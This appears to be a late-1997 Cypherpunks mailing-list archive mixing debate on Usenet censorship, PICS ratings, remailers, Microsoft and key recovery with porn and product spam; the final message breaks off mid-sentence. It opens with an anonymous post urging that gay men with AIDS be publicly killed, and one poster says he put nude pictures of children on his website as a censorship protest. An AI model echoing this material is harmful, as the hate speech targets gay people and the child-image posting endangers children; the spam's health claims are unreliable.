Message-ID: <199712271745.SAA01181@basement.replay.com>



In <199712270822.DAA12498 at panix2.panix.com>,
Information Security  wrote:

>I know most of you don't use Usenet anymore...
>
>Nevertheless, I'd appreciate any help.
>---guy

We don't like Usenet because it's full of faggots like Guy Polis.

A useful function for a government would be to round up all the
AIDS-infected faggots like Guy Polis and to put them publicly out
of their misery in fun creative ways, like they do in Iran.

I see great possibilities for live family entertaintment.

Thank God for AIDS!






From eureka at eureka.abc-web.com  Sun Dec 28 02:13:44 1997
From: eureka at eureka.abc-web.com (eureka at eureka.abc-web.com)
Date: Sun, 28 Dec 1997 02:13:44 -0800 (PST)
Subject: Eureka! Sun Dec 28 '97
Message-ID: <19971228081728.9898.qmail@eureka.abc-web.com>


Welcome to Sunday's issue of Eureka!

PUSSY PARADISE
Yet again Eureka! has managed  to negotiate a special week's
free access  to one of the web' s premier porn sites.  Pussy
Paradise is simply  packed with 100s  of videos (many live),
thousands of photos,  and so much more.  You will  need your
credit card as adult verification but it will not be charged
for your free week! So check it out - there's smut a plenty!
Pussy Paradise .... http://www.pussyparadise.com/eureka.html

EUREKA! is now  available in FOUR languages.  So now you can
choose  from  one  or more  of  these  following  languages!
FRAN�AIS ..... http://eureka.abc-web.com/eureka/francais.htm
DEUTSCH ....... http://eureka.abc-web.com/eureka/deutsch.htm
ESPA�OL ....... http://eureka.abc-web.com/eureka/espanol.htm

SEXWORLD3D
Quick loading, with some great free cock in pussy pix.  They
have 75 free ones in all. Including, threesomes,  duos, les-
bians, nudes and xxx.  We thought they were all nude. In the
xxx thumbnail area check out the broken dick -ouch! Surf it.
SexWorld3D ...................... http://www.sexworld3d.com/

NAAASTY PUSSY
A few banners and some pay site links but there are about 20
or so free pix that are worth the trip. They have thumbnails
and they are easy to find.  See "Brandi" 602x768 jpeg! Super
nice tits. Where's a color printer when you need one? Enjoy!
Naaasty Pussy ....................... http://207.171.55.199/

1 VERY BIG SITE
Quick loading site with great free pix. Check out the Andrea
image  where you are asked,  "Touch Andrea all over and find
a lot of hidden (wet) spots" This image map take you to lots
of great pussy pix.  It may just cause a stir in your jeans!
1 Very Big Site ....... http://onewebstreet.com/golden/site/

NO BS FREE PICS SITE
Well, this website lives up to its name!  Just free pix. See
the clear dildo in the limo  picture (fuck pic 2), how about
those rock hard nipples!  They have beach sex too.  Oo yeah!
No BS Free Pics Site ...... http://www.undermydesk.com/nobs/

AZZIAN XXX
Nice site, nice  thumbnails,  nasty asian women.  These guys
love their asian babes,  and their chicks are hot, horny and
in hardcore action in 70 free thumbnailed pix! They give you
the pix quick too,  so no fumbling around.  Their promise...
'Asian beauties  their  pussies,  asses,  hardcore and more'
Azzian XXX .................... http://www.suzyq.com/azzian/

SOURCE XXX
It's a great source for XXX! Here's why - there's 4 free pix
galleries, and they're themed. Hot girls in Erotic positions
- they've got it. Sweet Young  girls - mmm yeah! All Lesbian
action - get it here. If you like seductive naked girls with
cum to bed faces, get here quick! It's a site for sore eyes.
Source XXX ............... http://www.cimkraf.com/sourcexxx/

FREE STREAMING VIDEO
Please note that most of these feeds require a Netscape bro-
wser in order to successfully view them. Unfortunately Micr-
osoft's browser does not have all the features of Netscape's
yet.  However, many of the feeds use the RealPlayer and will
work in most browsers.  If you do not have Netscape and want
a free copy click here ... http://www.netscape.com/download/
20vids+Chat .. http://209.1.31.175/chat/videochat.cgi?eureka

CHAT WITH OTHER READERS
This chat is growing fast, and already there are a number of
regulars  you will meet most days.  It's good to see Eureka!
readers interacting with each other and having a great time!
Just surf in and have fun! ...... http://137.39.63.229/chat/

THE BEST PHONE SEX
Live Hetero 1-on-1, 2-on-1, group, dateline...1-800-644-8779
FREE Hetero live 1-on-1 (international call)...011-678-77416
FREE Gay live 1-on-1 (international call)......011-678-75629 

AMATEUR SITE OF THE DAY
SHELLY R:  How would you  like to  see a 19  year old model,
with the vital stats of 5'4" tall,  105 lbs, on a tight 34b-
24-34 frame?  She is nothing but sweet, you can catch her on
IRC and IRQ.  Stop in and tell this Oklahoma native that she
is OK! ..................... http://amateurindex.com/eureka/

TODAY'S FREE PIX
In the  new year we  will be creating a  much simpler system
for you to view your FREE pix. It will also offer the oppor-
tunity for you to view previously published pix you may have
missed.  In addition you'll  be able to select your favorite
categories  of photos  such as  lesbian,  asian,  teen(18+),
group sex,  and so on.  We think  you will  simply  love it!
Pic  1 ...................... http://137.39.63.229/?xdAKtHhZ
Pic  2 ........................... http://137.39.63.229/?101
Pic  3 ...................... http://137.39.63.229/?QTksOopx
Pic  4 ........................... http://137.39.63.229/?102
Pic  5 ...................... http://137.39.63.229/?BW1aoKCW
Pic  6 ........................... http://137.39.63.229/?103
Pic  7 ...................... http://137.39.63.229/?a7DWL_MQ
Pic  8 ........................... http://137.39.63.229/?104
Pic  9 ...................... http://137.39.63.229/?QNIy80xD
Pic 10 ........................... http://137.39.63.229/?105

PLEASE VISIT THIS FINE EUREKA! MEMBER SITE
6600+ Free Pics and Stories!!
http://www.erotizone.com/qindex.html
We have it all!! We are the LARGEST free site on the planet.
Lesbians, bondage, couples, teens, latinos, asians, golden
gals, males, transexuals and more. We WILL Rock your world!!

------------------------------------------------------------
If you would like to unsubscribe from the Eureka! Newsletter
simply select reply and send us a quick reply to this email.
------------------------------------------------------------





From kae28 at nims.nec.co.jp  Sun Dec 28 04:01:07 1997
From: kae28 at nims.nec.co.jp (kae28 at nims.nec.co.jp)
Date: Sun, 28 Dec 1997 04:01:07 -0800 (PST)
Subject: XXX ADULT SEX!!!
Message-ID: <1997122815IAA3807@post.214.38.64>


The LARGEST selection of Hot Beautiful XXX Live Girls
from the  U.S.A. & Europe!!! 

Voted as the 1998 best Adult Site!  

*LIVE GIRL SEX SHOWS!!!
* 4 FREE Live Video Feeds & Chatrooms!!! 
*FREE Erotic Stories!!
*Free Pictures of XXX Porn Stars!!
*Confessions!!!
*Free Pictures of Teens & Men!!!
And Lots More to do for FREE!!!


*REAL LIVE SEX!!!  MUST SEE TO BELIEVE THIS SHOW!! Never seen before on the internet!

You must be 21 or older.

http://www.pscsurprise.com

AOL Click Here! 

If you take offense to this email & wish to be taken off our list, or would like
to know how you can win free time on our sex shows or cash prizes monthly
simply  e-mail us at: mwa234 at hotmail.com
We are sorry for any inconvience.
Qnec.co.jp>
Subject:





From anon at squirrel.owl.de  Sat Dec 27 12:27:03 1997
From: anon at squirrel.owl.de (Secret Squirrel)
Date: Sun, 28 Dec 1997 04:27:03 +0800
Subject: Kwanzaa hijacked by white businesses... [CNN]
Message-ID: <7e9cd9d57e4acd4224cb5e528fc41b25@squirrel>



>Just as a side remark: why what standard are hallmark and giant foods "white"?
>If they're like most big corporations, they probably bend over backwards to
>promote blacks via "affirmative action" quotas, and have more blacks in
>positions of responsibility than they possible could have if they based their
>hiring decisions on merit. Evidently this is not good enough for racists
>hatemongers like Jesse "Hymietown" Jackson and Louis Farrakhan.

By extension what would happen if a white guy called for black people to be
banned from any given thing? They'd be called a racist and run out of town,
sued, and everything else.

I spit on political correctness and affirmative action, and I'm not a racist
or sexist either. 






From pjm at spe.com  Sat Dec 27 13:12:50 1997
From: pjm at spe.com (Patrick May)
Date: Sun, 28 Dec 1997 05:12:50 +0800
Subject: Why I Support Microsoft
In-Reply-To: <3.0.3.32.19971219170957.0300f6f0@earthlink.net>
Message-ID: <4134-Sat27Dec1997125332-0800-Patrick May 



[ A bit delayed, due to the holidays. ]

Tim May writes:
 > Anyway, the recent government actions against Microsoft are reprehensible
 > to any person who values liberty. Microsoft is being punished for its
 > success.

     Mr. May and others have addressed the government's abuse of
Microsoft eloquently and well.  It is clear that the DOJ is well out
of constitutional bounds with this litigation.  It is equally clear
that the real problem with Microsoft is that its poorly designed,
bloated, _inelegant_ software is pervasive.

     The solution to both of these problems lies in David Honig's
signature:

 > "Windows 95 is a technologically complex product that is best left
 > alone by the government..."
 > ---MSFT Atty B. Smith

The President should issue an executive order mandating that all
government agencies immediately remove all Microsoft operating systems
from their machines, to be replaced with Linux.  All Microsoft
products should be eliminated as well.  The standard text format
should be LaTeX.  All businesses receiving money from government
contracts should be required to use the same tools.

     This would cut down dramatically on the money spent on software
by the government, eliminate compatibility problems between users of
different versions of Microsoft products, encourage enormous growth in
the Linux software market, and guarantee that Microsoft would never
again be considered a monopoly.  All this without ever entering a
courtroom.

     Perhaps there's a congressman or two out there who'd like to make
some political hay by pushing this from the legislative branch....

Regards,

Patrick May
S P Engineering, Inc.






From ravage at ssz.com  Sat Dec 27 13:29:10 1997
From: ravage at ssz.com (Jim Choate)
Date: Sun, 28 Dec 1997 05:29:10 +0800
Subject: Why I Support Microsoft (fwd)
Message-ID: <199712272147.PAA04354@einstein.ssz.com>



Forwarded message:

> Date: Sat, 27 Dec 1997 12:53:32 -0800
> From: Patrick May 
> Subject: Re: Why I Support Microsoft

> The President should issue an executive order mandating that all
> government agencies immediately remove all Microsoft operating systems
> from their machines, to be replaced with Linux.

Why are you trying to ruin Linux?


    ____________________________________________________________________
   |                                                                    |
   |      Those who make peaceful revolution impossible will make       |
   |      violent revolution inevitable.                                |
   |                                                                    |
   |                                          John F. Kennedy           |
   |                                                                    |
   |                                                                    | 
   |            _____                             The Armadillo Group   |
   |         ,::////;::-.                           Austin, Tx. USA     |
   |        /:'///// ``::>/|/                     http://www.ssz.com/   |
   |      .',  ||||    `/( e\                                           |
   |  -====~~mm-'`-```-mm --'-                         Jim Choate       |
   |                                                 ravage at ssz.com     |
   |                                                  512-451-7087      |
   |____________________________________________________________________|






From pooh at efga.org  Sat Dec 27 16:22:46 1997
From: pooh at efga.org (Robert A. Costner)
Date: Sun, 28 Dec 1997 08:22:46 +0800
Subject: cypherpunks missing from Usenet
In-Reply-To: <199712270822.DAA12498@panix2.panix.com>
Message-ID: <3.0.3.32.19971227190734.032c299c@mail.atl.bellsouth.net>



At 03:22 AM 12/27/97 -0500, Information Security wrote:
>What else? What have the U2 Czars controlling CAUCE also done?
>
>Not allowed the admin of a one-way remailer who returned the required
>token for posting to comp.org.cauce to post here; no explanation given
>despite repeated requests.

My understanding was that the Cracker remailer was allowed to post on some
CAUCE moderated thing, presumably the newsgroup.  I seem to recall that the
token was returned and posting capability had been verified.  Has something
changed?  Which remailer was it?


  -- Robert Costner                  Phone: (770) 512-8746
     Electronic Frontiers Georgia    mailto:pooh at efga.org  
     http://www.efga.org/            run PGP 5.0 for my public key






From guy at panix.com  Sat Dec 27 17:05:40 1997
From: guy at panix.com (Information Security)
Date: Sun, 28 Dec 1997 09:05:40 +0800
Subject: cypherpunks missing from Usenet
Message-ID: <199712280053.TAA15731@panix2.panix.com>



   >   From pooh at efga.org Sat Dec 27 19:07:33 1997
   >   
   >   At 03:22 AM 12/27/97 -0500, Information Security wrote:
   >   >What else? What have the U2 Czars controlling CAUCE also done?
   >   >
   >   >Not allowed the admin of a one-way remailer who returned the required
   >   >token for posting to comp.org.cauce to post here; no explanation given
   >   >despite repeated requests.
   >   
   >   My understanding was that the Cracker remailer was allowed to post on some
   >   CAUCE moderated thing, presumably the newsgroup.  I seem to recall that the
   >   token was returned and posting capability had been verified.  Has something
   >   changed?  Which remailer was it?

If I was wrong, nobody ever corrected me despite my
posting the complaint repeatedly to comp.org.cauce.

Look up the original posts at DejaNews:

#   Subject:      Re: Has the lcs mixmaster remailer been banned?
#   From:         lcs Remailer Administrator 
#   Date:         1997/11/25
#   Message-ID:   <19971125051724.27312.qmail at nym.alias.net>
#   Newsgroups:   comp.org.cauce
#
#   beigel at rbo.eecs.lehigh.edu (Richard Beigel) writes:
#
#   > You have to reply to the message sent by the modbot.  If you don't,
#   > then your message shouldn't be posted.  I guess you find out how this
#   > works the first time that you post (Ooh! I can hardly wait:-).
#
#   I think you are missing the point.  I replied to the original message.
#   That's how the strange moderation policy thread got started.  The fact
#   that a thread was started proves that I went through the cookie
#   exchange properly.  The problem is that that e-mail address seems to
#   have been subsequently banned with no apparent expanation.  Or, there
#   is some technical problem.
#
#   It's definitely the case that mix at anon.lcs.mit.edu bounces a copy of
#   non mixmaster messages back to the sender in case the sender didn't
#   know it was a remailer and wants to resend the article somewhere else.
#   However, that doesn't mean I can't spool such messages in a mailbox
#   and read them if this is required by the moderation policy.
#
#   I just want to know exactly what the policy is and what I need to do
#   to post from the address mix at anon.lcs.mit.edu.

They never answered. Not him, not me.

Speaking of problems: it's definite: the great attempt to
censor the Internet has begun in England.

Mainly Usenet is under attack: pics of mere nudity are being
deleted without any legal process whatsoever.

See my posts in comp.org.eff.talk ...

I've put two pics of nekked kids up at www.panix.com/~guy
as part of the "discussion".

They (Demon, UUNET, ...) are deleting both pics and
apparently text files too, and reporting them to the
police.

The Thought Police are here.
---guy






From Use-Author-Address-Header at [127.1]  Sat Dec 27 17:59:44 1997
From: Use-Author-Address-Header at [127.1] (Anonymous)
Date: Sun, 28 Dec 1997 09:59:44 +0800
Subject: ALERT: PICS Rules, not OK!
In-Reply-To: <66outm$jln1@iccu9.ipswich.gil.com.au>
Message-ID: 



In article <67qbl6$am2 at senator-bedfellow.MIT.EDU>, Seth Finkelstein wrote:
>In article <67ptsh$4rl$1 at illuin.demon.co.uk>,
>Richard Letts   wrote:
>>In uk.net Paul L. Allen  wrote:
>>> With PICSRULES they can tell ISPs, say, that all web traffic (see
>>> qualification above) must go through the ISPs proxy (some ISPs would
>>> probably like to make their routers enforce that anyway for bandwidth
>>> reasons) and that the proxy should use PICSRULES that the govt specify.
>>
>>Replace PICSRULES with 'English language specification' in the sentance
>>above.
>
>	Doesn't work, because there is no standard "English language
>specification" for content restrictions on proxy servers. This "PICS
>is like English" bit is getting really tiresome, if PICS were really
>like English, then there would be no need to construct such a special
>system in the first place! The fact that there is a need for such a
>language *designed* and *optimized* for censorship should give the lie
>to this comparison.

Right. I must be missing something here:

PICS is designed to label information under a variety of criteria. The stated
reason is that we want to "protect the children and those with frail minds" 
from "bad" information. Of course the definition of "bad" information varies
from person to person.

Let's assume PICS doesn't exist. Instead there's a single flag which can go on
a web page, USENET post, text file, FTP site, or whatever which denotes
whether the material is "suitable for children." I go off and publish bomb-making
information. Since that material is available in a high school chemistry textbook
with a little synthesis on the reader's part and I don't believe in censorship
of information, especially based on age, I mark it "suitable for children." How
is anybody going to stop me? I've expressed my opinion. And, after all, SingleFlag 
isn't for censorship, so theoretically nobody can do anything about it.

Of course people won't like this. Further if a bunch of people do that SingleFlag
becomes completely and totally useless. The only ways to enforce it are to sue me,
throw me in jail, or blacklist me from ISPs. In all three cases censorship is in
effect. In the first two cases people scream to the government  "We *already*
censor or rate content on the public airwaves, in computer games, on TV, and at
the movies. Why not on the Internet too?" , and that's assuming that such
a law isn't in place already.

So say SingleFlag doesn't exist. Instead we have MultiFlag which rates content on
the basis of sexual content, violence, language, and nudity. Again, because I don't
believe in censoring content, I rate my material as "no sex, no violence, no lude
language, and no nudity." And again, the only way to enforce it is to sue me,
throw me in jail, or blacklist me from ISPs. And, again, in all three cases I'm
censored.

And if all the ISPs censor USENET feeds and HTTP connections, nothing keeps me from
playing all kinds of games with TCP/IP (or making my own protocol entirely) and 
distributing information that way. But then I suppose we have to ban that too,
since after all it has no use except to "corrupt the youth of the world" and to
espouse politically incorrect thoughts.

Now let's say that does happen. I go off and post my pornography anonymously, or
stick it on an Eternity server. Well, I guess we'd better ban those pesky anonymous
remailers now, right? After all, who needs anonymity unless they have something
to hide, right? "Good users are known users," we should have digital signatures
required on everything (and they aren't just any digital signature -- that would
defeat the purpose. We need some kind of central certification authority!), and
ban those politically incorrect opinions -- after all, we have the framework, right?

Posted anonymously. After all, this is politically incorrect and I wouldn't want to
get on somebody's ban list, right?






From guy at panix.com  Sat Dec 27 18:18:07 1997
From: guy at panix.com (Information Security)
Date: Sun, 28 Dec 1997 10:18:07 +0800
Subject: cypherpunks missing from Usenet
Message-ID: <199712280157.UAA17694@panix2.panix.com>



The Clive Feather person is emphatic only real child porn
is being deleted and reported to the police; he clarified
that the 1800 items listed for Sep 1997 are *total* for
the existence of IWF.

So, it's probably going to take me several weeks to
verify his claim.

I back off from my claim (based on his dialog) that
they are canceling mere nudity, for now.
---guy






From dm0 at avana.net  Sat Dec 27 20:06:35 1997
From: dm0 at avana.net (David Miller)
Date: Sun, 28 Dec 1997 12:06:35 +0800
Subject: NRA vs. KRA
Message-ID: <34A5DCD2.654AC12@avana.net>



>From www.jya.com/cn122297.txt quoting 15 December 1997, Interactive
Week:

> Network Associates dropped out of the Key Recovery Alliance. But there
> are plenty of major players left, even if they include some of the harshest
> foes of current crypto policy. Remaining members include: 

> America Online Inc. 
> Compaq Computer Corp. 
> Digital Equipment Corp. 
> Entrust Technologies Ltd. 
> Frontier Technologies Corp. 
> Fujitsu Ltd. 
> IBM Corp. 
> Intel Corp. 
> NCipher Corp. 
> Novell Inc. 
> RSA Data Security Inc. 
> SafeNet Trusted Services Corp. 
> Silicon Graphics Inc. 
> Sun Microsystems Inc. 
> Trusted Information Systems Inc. 

Some of these players I would expect to sit at the key recovery table,
but why SUN?  Any of you California dudes know what's up with that?

Am I right in assuming that the International Elvis marketing deal will
never go through?

--David Miller

-- 
middle  rival
devil rim lad

Windows '95 -- a dirty, two-bit operating system.






From ravage at ssz.com  Sat Dec 27 20:22:08 1997
From: ravage at ssz.com (Jim Choate)
Date: Sun, 28 Dec 1997 12:22:08 +0800
Subject: SSZ status - post BOOM... (fwd)
Message-ID: <199712280440.WAA00188@einstein.ssz.com>



Forwarded message:
>From ravage at ssz.com Sat Dec 27 22:39:49 1997
From: Jim Choate 
Message-Id: <199712280439.WAA00168 at einstein.ssz.com>
Subject: SSZ status - post BOOM...
To: users at ssz.com (SSZ User Mail List)
Date: Sat, 27 Dec 1997 22:39:48 -0600 (CST)
X-Mailer: ELM [version 2.4 PL23]
Content-Type: text
Content-Length: 1315      


Hi all,

Well the system seems to be back up and running without any serious
problems.

Will continue to monitor the status...


    ____________________________________________________________________
   |                                                                    |
   |      Those who make peaceful revolution impossible will make       |
   |      violent revolution inevitable.                                |
   |                                                                    |
   |                                          John F. Kennedy           |
   |                                                                    |
   |                                                                    | 
   |            _____                             The Armadillo Group   |
   |         ,::////;::-.                           Austin, Tx. USA     |
   |        /:'///// ``::>/|/                     http://www.ssz.com/   |
   |      .',  ||||    `/( e\                                           |
   |  -====~~mm-'`-```-mm --'-                         Jim Choate       |
   |                                                 ravage at ssz.com     |
   |                                                  512-451-7087      |
   |____________________________________________________________________|






From ravage at ssz.com  Sat Dec 27 20:22:24 1997
From: ravage at ssz.com (Jim Choate)
Date: Sun, 28 Dec 1997 12:22:24 +0800
Subject: Explosion takes down SSZ!... (fwd)
Message-ID: <199712280440.WAA00198@einstein.ssz.com>



Forwarded message:
>From ravage at ssz.com Sat Dec 27 22:33:23 1997
From: Jim Choate 
Message-Id: <199712280430.WAA00201 at einstein.ssz.com>
Subject: Explosion takes down SSZ!...
To: users at ssz.com (SSZ User Mail List)
Date: Sat, 27 Dec 1997 22:30:51 -0600 (CST)
X-Mailer: ELM [version 2.4 PL23]
Content-Type: text
Content-Length: 1714      


Hi all,

There was a power failure in my area this evening, a power transformer blew
from the sound I heard just as the power went out. After verifying the UPS
would keep the system up at least 20 minutes I shut the whole thing down.

The system seems to be back up at this time except for a problem with the
eth1 interface. I believe this is related to a glitch and will be working on
it over the next few minutes. The system may be a bit unstable because I
will need to reboot at least once...

Sorry for any inconvenience.


    ____________________________________________________________________
   |                                                                    |
   |      Those who make peaceful revolution impossible will make       |
   |      violent revolution inevitable.                                |
   |                                                                    |
   |                                          John F. Kennedy           |
   |                                                                    |
   |                                                                    | 
   |            _____                             The Armadillo Group   |
   |         ,::////;::-.                           Austin, Tx. USA     |
   |        /:'///// ``::>/|/                     http://www.ssz.com/   |
   |      .',  ||||    `/( e\                                           |
   |  -====~~mm-'`-```-mm --'-                         Jim Choate       |
   |                                                 ravage at ssz.com     |
   |                                                  512-451-7087      |
   |____________________________________________________________________|






From sheriff at speakeasy.org  Sat Dec 27 20:58:22 1997
From: sheriff at speakeasy.org (The Sheriff)
Date: Sun, 28 Dec 1997 12:58:22 +0800
Subject: Freedom Forum report on the State of the First Amendment
In-Reply-To: 
Message-ID: 



-----BEGIN PGP SIGNED MESSAGE-----

>At 5:02 PM -0800 12/24/97, Steve Schear wrote:
>>If you would be so kind as to a) specify that supreme court ruling,
>>and b) identify an online resource where I can obtain the text of
>>that decision, so that I can 1) confirm or deny your allegation, and
>>2) debate your position intelligently, I would greatly appreciate it.
>
>It has to do with the application of laws, especially Federal, to
>corporations.  Recall that Corporations are legal fictions and,
>unlike individuals, are not constitutionally vested with inaliable
>rights.  They have been affirmed some rights, including free speech
>but the SC, but generally with more limitations.

Okay, I'll avoid that since I have never read a scrap of
corporational law.

>>What if I run a business out of my house?  What if I don't need
>>employees (such that I could affort to hire a couple of people,
>>or nobody at all)?  If I hire someone who is white because I don't
>>want to hire someone is black, then it is not a loss that is felt
>>within the black community, since I don't *need* to hire anybody
>>in the first place.
>
>Use of your property, as long as its private, were vested with many
>>constitutional rights (many of which now been eroded by decades of SC
>>'interpretation').  However, once you operate a business upon a property
>>(evidenced by the issuance of a business license) it becomes a 'public
>>convenience' which can (and often is) heavily regulated and restricted.
>
>So, operate w/o a business license and incorporation and keep your rights
>but risk prosection for tax evasion, or license your business and lose many
>of those consititional protections you covet.  Catch-22.

Just out fo curiosity -- if I were to take my taxes out like I
were operating a business out of my house without declaring I am
as such, and then not take the "excess" tax money back as a return,
would the Fed have any grounds for suit of fraud, since I had paid
all the taxes of a business properly?

What I'm wondering is if the fraud charge would be because I haden't
paid the proper taxes or not.

>>I find it very interesting that liberal activists in California,
>>who rabidly insist that racism is wrong, that we must have racial
>>dialogues, that we should all "just get allong," used the court
>>system to fight Proposition 209, which ends affirmative action in
>>that state.  The people voted their will, and the activists took
>>to the courts to override the people's will -- in effect, saying
>>that the California voting public is just a bunch of idiots.
>
>They simply showed their true 'liberal' idiological colors.  What they
>really seek isn't guarantees of equal opportunity but equal outcomes
>under law, what Robert Bork calls Radical Egalitarianism in his recent
>book, "Slouching Towards Gamorah."

I haven't seen or read the book.  However, it would seem to me that
equal opertunity and equal outcome aren't one and the same.  While
you are making it possible for folks who wouldn't normally hit the
middle income road to do so, you are then also restraining the
brighter bulbs from taking off like NASA rockets (and the analogy is
correct, since being a genius doesn't guarantee success).

Best wishes and fresh-roasted peanut taste,
The Sheriff. -- ******
- ---
As kinky as it sounds, finger me to see my PGP key and
confirm the signature attached to this message.
- ---
Any and all SPAM will be met with immediate prosecutory
efforts.  Solicitations are NOT welcome here!
- ---
        ----BEGIN INFLAMATORY BLOCK----
Version: 160 (IQ)
Comments: Definitely one of their greatest misses.

Reporter: "Do you know what Public Enemy is?"
- ---
Citizen: "Public enemy?"
          [long pause]
         "Probably somebody in office."
        -----END INFLAMATORY BLOCK-----


-----BEGIN PGP SIGNATURE-----
Version: PGPfreeware 5.0 for non-commercial use 
Charset: noconv

iQEVAwUBNKXNjABMw4+NR29ZAQGO8wf7Bic4Y5v74dP4uCowXyqT68BkHlhU1/+p
hs4rD7w8D27TJkIep9kBLCZfvPo0i3cGqMN6NluAHJ4auf+TjezVCe4cheTXyZCJ
K/aoyZHgrmV1vH/wHHvbODc8Aq5kVzrcCAnfPF9T4j/2gS3pbMp+VALlix/Cp53u
TRpqLNCTlFnwiZVO8h82hF/gnNiNxmHQ7UoPG1WJYXUSiDTmRjEhM0RnmDdThaEh
W1Yh0O1Xpl6F6B13ZNTby3PTDh2FzllscFmPtWtxl4iCWeHERHL6f4Jpb/9uVrgB
N7eT1veC7fkSMFJaKGNT73GEBzxz5gphjmVLPsr8QKdVjVfS20eyRw==
=B4z0
-----END PGP SIGNATURE-----






From ravage at ssz.com  Sat Dec 27 21:23:45 1997
From: ravage at ssz.com (Jim Choate)
Date: Sun, 28 Dec 1997 13:23:45 +0800
Subject: New hi-tech dog tags use encryption?... [CNN]
Message-ID: <199712280543.XAA00435@einstein.ssz.com>



Forwarded message:

>                     PENTAGON INTRODUCING HIGH-TECH DOG TAGS
>                                        
>      electronic military dog tag December 27, 1997
>      Web posted at: 7:58 p.m. EST (0058 GMT)
>      
>      From Correspondent Jonathan Karl
>      
>      WASHINGTON (CNN) -- Through triumph and tragedy and two world wars,
>      the military dog tag has been an American icon for generations of
>      soldiers and sailors.
>      
>      Today's armed forces wear the same basic dog tag that their
>      great-grandparents wore. But that's about to change.
>      
>      By 1999, the 1.4 million members of the active duty military will be
>      issued a high-tech dog tag that contains a computer chip. CNN's
>      Jonathan Karl reports
>      icon 2 min. VXtreme video
>      
>      The old dog tags had just five lines for information, which included
>      spaces for name, religion and blood type. The new digital tags,
>      however, can contain volumes of multi-media information, including
>      medical histories, X-rays and cardiograms.

[text deleted]

>      "We have to be very concerned about how we protect the information
>      -- in who's hands would it be, should it be encrypted, could the
>      encryption be broken, what would happen if it ended up in the wrong
>      hands," says Defense Secretary William Cohen.

[text deleted]

>      If issues of cost and privacy can be solved, the old metal dog tags
>      seem certain to become just another piece of military history.


    ____________________________________________________________________
   |                                                                    |
   |      Those who make peaceful revolution impossible will make       |
   |      violent revolution inevitable.                                |
   |                                                                    |
   |                                          John F. Kennedy           |
   |                                                                    |
   |                                                                    | 
   |            _____                             The Armadillo Group   |
   |         ,::////;::-.                           Austin, Tx. USA     |
   |        /:'///// ``::>/|/                     http://www.ssz.com/   |
   |      .',  ||||    `/( e\                                           |
   |  -====~~mm-'`-```-mm --'-                         Jim Choate       |
   |                                                 ravage at ssz.com     |
   |                                                  512-451-7087      |
   |____________________________________________________________________|






From proff at iq.org  Sun Dec 28 00:25:10 1997
From: proff at iq.org (Julian Assange)
Date: Sun, 28 Dec 1997 16:25:10 +0800
Subject: cypherpunks missing from Usenet
In-Reply-To: <199712280157.UAA17694@panix2.panix.com>
Message-ID: 



Information Security  writes:

> The Clive Feather person is emphatic only real child porn
> is being deleted and reported to the police; he clarified
> that the 1800 items listed for Sep 1997 are *total* for
> the existence of IWF.
> 
> So, it's probably going to take me several weeks to
> verify his claim.
> 
> I back off from my claim (based on his dialog) that
> they are canceling mere nudity, for now.
> ---guy

Who-fucking-ray.

Less talk, more code.

-- 
Prof. Julian Assange  |If you want to build a ship, don't drum up people
                      |together to collect wood and don't assign them tasks
proff at iq.org          |and work, but rather teach them to long for the endless
proff at gnu.ai.mit.edu  |immensity of the sea. -- Antoine de Saint Exupery






From ForInformationCall at 1-718-363-0723  Sun Dec 28 17:09:52 1997
From: ForInformationCall at 1-718-363-0723 (ForInformationCall at 1-718-363-0723)
Date: Sun, 28 Dec 1997 17:09:52 -0800 (PST)
Subject: Get Back To Health and Savings!
Message-ID: <35629699_56846129>



 *********************************************************
                BREAK THE CHAIN OF PAIN 
                      WITH PROCYTIN

 
 PROCYTIN: This is a unique topical anti-inflammatory
 that actually helps protect cells from the over-product
 ion of Prostaglandin Synthetase, the body's Primary
 Catabolic Enzyme(PCE)that is commonly associated with
 inflammation. Developed by a team of Medical Physicians
 Procytin is now available exclusively through the Voyager
 Group,Inc.

         The Difference between Pain & Comfort
 
 Thousands of people have already experienced soothing
 fast acting relief from pain associated with Arthritis,
 backache, bursitis, sports injuries, sprains and strains
 with Procytin. FOR MORE INFORMATION CALL:
 Helena @ 718-363-0723 or to order call Voyager @
 1-800-858-1428.  Give my ID# 10649

 **********************************************************
 **********************************************************
 
         Welcome To The Technology  Network, Inc.
                       -TECH NET-

    Be one of the first pioneers to take advantage of this
 enormous market! In the confusion associated with telephone
 rates, companies, and services, The Technology Network,Inc. 
 (TECH NET) rises above the competition.How? Through a revo-
 lutionary technological creation, we eliminate the "phoney"
 rate games and slash your phone bills down to the bare bone.

               Introducing The TeleChron
    A new technology, the TeleChron is an advanced computer
 (the size of a video cassette) that plugs into your phone 
 and automatically routes your call to the lowest rate avai-
 lable. And....it doesn't matter which carrier you use!

           The TeleChron is
 *Federally Approved through the FCC
 *Only Available through Us (Tech Net,Inc)
 *Proprietary- Fully Protected by Patent
 *Field Tested and Proven-Worldwide
 *Every single Residence and Business will want to slash
  their phone bills by 30 to 70%

                       FREE  DETAILS
1. 24-hr Fax-On-Demand: 415-273-6034
2. Call our24-hr Voice-on Demand:732-462-4050
3. Call Helena@ 718-363-0723.      ID#500248

 P.S.  If you sign up to become a distributor now, your cost is
 only $99, not $189 as stated on the application form, from the
 Fax-on-Demand. 
         






From eureka at eureka.abc-web.com  Mon Dec 29 01:49:11 1997
From: eureka at eureka.abc-web.com (eureka at eureka.abc-web.com)
Date: Mon, 29 Dec 1997 01:49:11 -0800 (PST)
Subject: Eureka! Mon Dec 29 '97
Message-ID: <19971229081019.4249.qmail@eureka.abc-web.com>


Welcome to Monday's issue of Eureka!

FRESHTEENS!
Is there no end to it? Yet again we have succeeded in obtai-
ning a FREE one week trial,  for all Eureka!  subscribers at
another of the net's finest websites. Freshteens offers over
200 video feeds, hot live,  sex shows,  hard XXX movies, hot
XXX stories,  exclusive Texas Teens, and a comprehensive gay
area too. You need a credit card to verify you are an adult,
but will not be charged for your FREE membership. Excellent!
Freshteens ........... http://www.freshteens.com/cproot/1217

EUREKA! is now  available in FOUR languages.  So now you can
choose  from  one  or more  of  these  following  languages!
FRAN�AIS ..... http://eureka.abc-web.com/eureka/francais.htm
DEUTSCH ....... http://eureka.abc-web.com/eureka/deutsch.htm
ESPA�OL ....... http://eureka.abc-web.com/eureka/espanol.htm

THREE DAYS TO BLAST OFF!
With a bottle of your favorite champagne. We have surfed all
over the place to mine out some gold nuggets of porn. Enjoy!

THE BABE GALLERY
Go down the page about half way to the galleries. From there
you have a choice of several different woman, each featuring
a decent looking babe in a bunch of poses. Nice pussy shots.
The Babe Gallery .......... http://www.the-babe-gallery.com/

EROTIC.COM
This is a paysite.  But to give you a look  around they have 
